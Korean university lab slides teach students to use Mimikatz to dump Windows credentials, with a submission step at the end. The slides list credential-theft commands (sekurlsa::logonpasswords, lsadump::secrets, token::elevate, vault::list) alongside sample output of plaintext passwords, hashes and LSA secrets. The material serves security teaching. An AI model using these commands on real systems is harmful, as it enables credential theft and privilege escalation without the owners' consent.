

# 컴퓨터보안 실습

Mimikatz를 이용한  
윈도우 패스워드 해킹

# 패킷 분석

---

- Mimikatz 소개
- mimikatz 설치 및 사용법
- 윈도우 해킹
- 툴 사용하기
- 이메일 제출

# Mimikatz 소개

- mimikatz

```
mimikatz 2.1 x86 (oe.eo)

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 305230 (00000000:0004a84e)
Session           : Interactive from 1
User Name         : user
Domain            : win7x86
Logon Server      : WIN7X86
Logon Time        : 2016-12-05
SID               : S-1-5-21-1122478845-3238998784-4234499192-1000

msv :
[00000003] Primary
* Username : user
* Domain   : win7x86
* LM       : 921988ba001dc8e14a3b108f3fa6cb6d
* NTLM     : e19ccf75ee54e06b06a5907af13cef42
* SHA1     : 9131834cf4378828626b1beccaa5dea2c46f9b63

tspkg :
* Username : user
* Domain   : win7x86
* Password : P@ssw0rd

wdigest :
```

# mimikatz설치 및 사용법

---

- 다운로드: <https://github.com/gentilkiwi/mimikatz/releases>
- 해킹툴이기에 가끔 바이러스로 판단을 하며 도덕적이며 교육용으로 사용하시기 바람
- **Mimikatz** 를 실행할 때는 **충.exe**를 " 관리자 권한 " 으로 실행

# 윈도우 해킹

---

- 명령어들 모음과 예시들이며 다양한 공격을 시도 할 수 있습니다.
- debug 모드 변경
- **mimikatz# privilege::debug**
- privilege '20' OK

# 윈도우 해킹

---

- 명령어들 모음과 예시들이며 다양한 공격을 시도 할 수 있습니다.
- debug 모드 변경
- **mimikatz# privilege::debug**
- **privilege '20' OK**

# 윈도우 해킹

윈도우 비밀번호 평문으로 출력이 됩니다.

## **mimikatz# sekurlsa::logonpasswords**

\* Username : Administrator

\* Domain : EXADATA

\* NTLM : ea620aaaaaab08aaaaabbdsfaaaaaax

\* SHA1 : ee199ebc98caaaaaadfsfaaaaa

tspkg : \* Username : Administrator

\* Domain : EXADATA

\* Password : P@ssw0rd

wdigest : \* Username : Administrator

\* Domain : EXADATA

\* Password : P@ssw0rd

kerberos :

\* Username : Administrator

\* Domain : EXADATA

\* Password : P@ssw0rd

# 윈도우 해킹

---

윈도우 vault 값 리스트

**mimikatz# vault::list**

Name : Administrator's Vault

Path : C:\Users\Administrator\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

Items (0)

Vault : {77bc582b-f0a6-4e15-4e80-61736b6f3b29}



# 윈도우 해킹

---

윈도우 token

**mimikatz # token::elevate**

Token Id : 0

User name :

SID name : NT AUTHORITY\SYSTEM

448 21440 NT AUTHORITY\SYSTEM S-1-5-18 (04g,30p)

# 윈도우 해킹

---

## mimikatz # lsadump::secrets

Domain : EXADATA

SysKey : d7e3d1c13341ea4a000c97f8dbc7a11b

Policy subsystem is : 1.11

LSA Key(s) : 1, default {86648e9a-dcad-6300-0675-edd6e1f91b3d}

[00] {86648e9a-dcad-sf809s8f0s3d}

3d198bd4e0501dcf8427e1ffsf980809sfa

Secret : DefaultPassword

old/text: P@ssw0rd

# 이메일 제출

---

- [nykim@seoultech.ac.kr](mailto:nykim@seoultech.ac.kr) 메일 전송
- **Mimikatz** 화면 캡처 제출  
날짜\_이름(학번,과목).jpg 형식으로 보내면  
완료

Q & A